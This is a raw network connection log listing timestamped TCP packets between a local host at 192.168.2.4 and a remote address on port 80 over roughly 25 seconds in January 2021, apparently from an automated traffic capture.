Jan 11, 2021 17:55:56.696310043 CET	80	49880	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.696485996 CET	80	49881	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.700223923 CET	49881	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.700265884 CET	49881	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.958790064 CET	80	49881	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.958957911 CET	49881	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.959181070 CET	49881	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.966623068 CET	49882	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.217245102 CET	80	49881	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:57.226322889 CET	80	49882	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:57.227089882 CET	49882	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.228408098 CET	49882	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.488831043 CET	80	49882	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:57.491317987 CET	49882	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.491381884 CET	49882	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.608377934 CET	49883	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.750951052 CET	80	49882	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:57.868277073 CET	80	49883	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:57.869842052 CET	49883	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:57.871535063 CET	49883	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.131800890 CET	80	49883	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.131989956 CET	49883	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.199094057 CET	49883	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.202208996 CET	49884	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.463682890 CET	80	49883	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.466751099 CET	80	49884	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.466878891 CET	49884	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.467463970 CET	49884	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.729218960 CET	80	49884	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.729414940 CET	49884	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.729847908 CET	49884	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.732681990 CET	49885	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:58.990680933 CET	80	49884	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.995944977 CET	80	49885	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:58.996145010 CET	49885	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:59.168667078 CET	49885	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:59.432661057 CET	80	49885	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:59.432770967 CET	49885	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:59.433463097 CET	49885	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:59.696599960 CET	80	49885	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:00.059801102 CET	49886	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.319974899 CET	80	49886	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:00.320099115 CET	49886	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.321032047 CET	49886	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.581624031 CET	80	49886	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:00.581716061 CET	49886	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.581898928 CET	49886	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.585007906 CET	49887	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.841540098 CET	80	49886	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:00.841726065 CET	80	49887	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:00.841907978 CET	49887	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:00.842541933 CET	49887	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.100214005 CET	80	49887	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:01.103564978 CET	49887	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.103658915 CET	49887	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.107798100 CET	49888	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.360558033 CET	80	49887	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:01.370059967 CET	80	49888	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:01.373708010 CET	49888	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.374209881 CET	49888	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.637274981 CET	80	49888	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:01.637983084 CET	49888	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.638154030 CET	49888	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.762698889 CET	49889	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:01.901031017 CET	80	49888	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.031306982 CET	80	49889	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.031502962 CET	49889	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.032150984 CET	49889	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.300961018 CET	80	49889	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.301158905 CET	49889	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.301367044 CET	49889	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.330029011 CET	49890	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.569111109 CET	80	49889	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.598941088 CET	80	49890	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.599078894 CET	49890	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.600404024 CET	49890	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.869798899 CET	80	49890	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:02.869889975 CET	49890	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.870548964 CET	49890	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:02.876816034 CET	49891	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.137490988 CET	80	49891	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:03.139065027 CET	80	49890	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:03.139175892 CET	49891	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.140552998 CET	49891	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.401673079 CET	80	49891	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:03.402942896 CET	49891	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.403224945 CET	49891	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.515111923 CET	49892	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.663531065 CET	80	49891	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:03.776684046 CET	80	49892	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:03.776938915 CET	49892	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:03.778249979 CET	49892	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.039577007 CET	80	49892	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.041199923 CET	49892	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.041480064 CET	49892	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.048022985 CET	49893	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.302119017 CET	80	49892	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.320169926 CET	80	49893	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.323863029 CET	49893	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.324325085 CET	49893	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.596781015 CET	80	49893	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.597381115 CET	49893	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.597560883 CET	49893	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.602927923 CET	49894	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.902744055 CET	80	49894	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.902761936 CET	80	49893	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:04.903043032 CET	49894	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:04.903841972 CET	49894	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.165811062 CET	80	49894	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:05.165923119 CET	49894	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.166157007 CET	49894	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.285996914 CET	49895	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.427279949 CET	80	49894	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:05.546077967 CET	80	49895	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:05.546411037 CET	49895	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.547864914 CET	49895	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.808041096 CET	80	49895	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:05.808208942 CET	49895	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.808374882 CET	49895	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:05.815155029 CET	49896	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.067950964 CET	80	49895	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.077315092 CET	80	49896	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.079859972 CET	49896	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.080524921 CET	49896	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.344393969 CET	80	49896	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.348088026 CET	49896	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.348261118 CET	49896	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.355206966 CET	49897	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.612068892 CET	80	49896	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.615991116 CET	80	49897	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.616231918 CET	49897	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.617607117 CET	49897	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.878498077 CET	80	49897	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:06.878818989 CET	49897	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:06.879028082 CET	49897	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.010124922 CET	49898	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.139288902 CET	80	49897	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:07.281732082 CET	80	49898	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:07.282018900 CET	49898	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.283341885 CET	49898	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.555593967 CET	80	49898	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:07.555862904 CET	49898	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.556076050 CET	49898	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.563641071 CET	49899	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.827775955 CET	80	49898	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:07.834542036 CET	80	49899	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:07.834791899 CET	49899	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:07.835458040 CET	49899	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.106828928 CET	80	49899	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:08.107003927 CET	49899	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.107116938 CET	49899	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.110658884 CET	49900	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.373689890 CET	80	49900	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:08.373886108 CET	49900	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.374381065 CET	49900	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.377537966 CET	80	49899	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:08.637886047 CET	80	49900	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:08.638021946 CET	49900	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.638238907 CET	49900	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.763664007 CET	49901	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:08.900952101 CET	80	49900	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.025480986 CET	80	49901	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.025696039 CET	49901	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.027334929 CET	49901	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.289967060 CET	80	49901	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.290293932 CET	49901	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.290534973 CET	49901	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.298135042 CET	49902	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.552189112 CET	80	49901	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.562238932 CET	80	49902	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.562556028 CET	49902	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.563256979 CET	49902	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.827905893 CET	80	49902	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:09.828097105 CET	49902	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.828336954 CET	49902	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:09.836061001 CET	49903	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.092351913 CET	80	49902	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:10.095745087 CET	80	49903	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:10.095890999 CET	49903	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.096682072 CET	49903	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.357073069 CET	80	49903	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:10.357309103 CET	49903	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.357569933 CET	49903	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.469779968 CET	49904	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.617005110 CET	80	49903	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:10.738982916 CET	80	49904	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:10.739234924 CET	49904	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:10.740722895 CET	49904	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.012825966 CET	80	49904	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.013715982 CET	49904	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.014023066 CET	49904	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.020930052 CET	49905	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.279015064 CET	80	49905	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.279221058 CET	49905	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.280529976 CET	49905	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.282577991 CET	80	49904	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.539246082 CET	80	49905	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.539357901 CET	49905	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.539503098 CET	49905	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.543519020 CET	49906	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.797760963 CET	80	49905	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.802566051 CET	80	49906	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:11.804467916 CET	49906	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:11.806091070 CET	49906	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.065885067 CET	80	49906	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.066339016 CET	49906	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.066397905 CET	49906	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.177993059 CET	49907	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.325165987 CET	80	49906	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.440036058 CET	80	49907	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.440345049 CET	49907	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.441737890 CET	49907	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.704462051 CET	80	49907	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.708520889 CET	49907	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.708745003 CET	49907	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.715825081 CET	49908	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.970839024 CET	80	49907	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.974998951 CET	80	49908	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:12.975297928 CET	49908	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:12.976653099 CET	49908	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.235656977 CET	80	49908	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:13.235928059 CET	49908	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.236215115 CET	49908	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.243705988 CET	49909	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.494406939 CET	80	49908	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:13.504219055 CET	80	49909	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:13.504491091 CET	49909	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.505811930 CET	49909	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.766844988 CET	80	49909	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:13.767193079 CET	49909	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.767524004 CET	49909	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:13.878057957 CET	49910	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.027944088 CET	80	49909	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.146666050 CET	80	49910	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.146785975 CET	49910	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.147998095 CET	49910	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.417013884 CET	80	49910	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.417135000 CET	49910	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.417279959 CET	49910	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.421225071 CET	49911	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.680763006 CET	80	49911	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.681199074 CET	49911	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.682600975 CET	49911	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.685445070 CET	80	49910	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.942652941 CET	80	49911	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:14.942884922 CET	49911	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.943109989 CET	49911	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:14.950670004 CET	49912	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.202594995 CET	80	49911	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:15.219001055 CET	80	49912	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:15.219299078 CET	49912	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.220673084 CET	49912	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.488924026 CET	80	49912	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:15.489231110 CET	49912	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.489487886 CET	49912	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.613452911 CET	49913	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.756746054 CET	80	49912	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:15.874818087 CET	80	49913	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:15.875166893 CET	49913	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:15.876518011 CET	49913	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.138307095 CET	80	49913	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.138556004 CET	49913	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.138784885 CET	49913	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.146116018 CET	49914	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.399590969 CET	80	49913	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.408262014 CET	80	49914	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.408513069 CET	49914	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.410012960 CET	49914	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.672492027 CET	80	49914	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.672580004 CET	49914	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.672908068 CET	49914	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.679689884 CET	49915	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.934629917 CET	80	49914	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.939384937 CET	80	49915	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:16.939511061 CET	49915	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:16.940262079 CET	49915	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.200546980 CET	80	49915	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:17.200649977 CET	49915	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.200876951 CET	49915	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.318073988 CET	49916	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.460623026 CET	80	49915	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:17.581203938 CET	80	49916	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:17.584894896 CET	49916	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.585695028 CET	49916	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.849153996 CET	80	49916	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:17.849478960 CET	49916	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.849709988 CET	49916	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:17.854033947 CET	49917	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.112498045 CET	80	49916	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.125298977 CET	80	49917	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.125435114 CET	49917	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.126372099 CET	49917	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.398231030 CET	80	49917	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.398458004 CET	49917	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.398716927 CET	49917	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.405563116 CET	49918	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.668834925 CET	80	49918	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.669197083 CET	49918	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.669667006 CET	80	49917	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.669869900 CET	49918	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.933769941 CET	80	49918	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:18.933994055 CET	49918	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:18.934509039 CET	49918	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.050827980 CET	49919	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.197581053 CET	80	49918	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:19.312530994 CET	80	49919	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:19.312762976 CET	49919	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.314114094 CET	49919	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.576531887 CET	80	49919	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:19.576630116 CET	49919	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.576893091 CET	49919	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.583600044 CET	49920	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.838133097 CET	80	49919	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:19.847050905 CET	80	49920	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:19.847182035 CET	49920	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:19.848494053 CET	49920	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.111985922 CET	80	49920	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:20.112322092 CET	49920	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.112529993 CET	49920	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.120057106 CET	49921	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.375080109 CET	80	49920	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:20.383641958 CET	80	49921	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:20.383995056 CET	49921	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.385375977 CET	49921	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.649458885 CET	80	49921	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:20.649790049 CET	49921	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.650062084 CET	49921	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.770704985 CET	49922	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:20.913491964 CET	80	49921	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.033284903 CET	80	49922	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.033579111 CET	49922	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.034924984 CET	49922	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.298191071 CET	80	49922	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.298585892 CET	49922	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.298811913 CET	49922	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.306075096 CET	49923	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.561216116 CET	80	49922	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.565491915 CET	80	49923	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.565834999 CET	49923	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.567193031 CET	49923	80	192.168.2.4	210.116.91.80
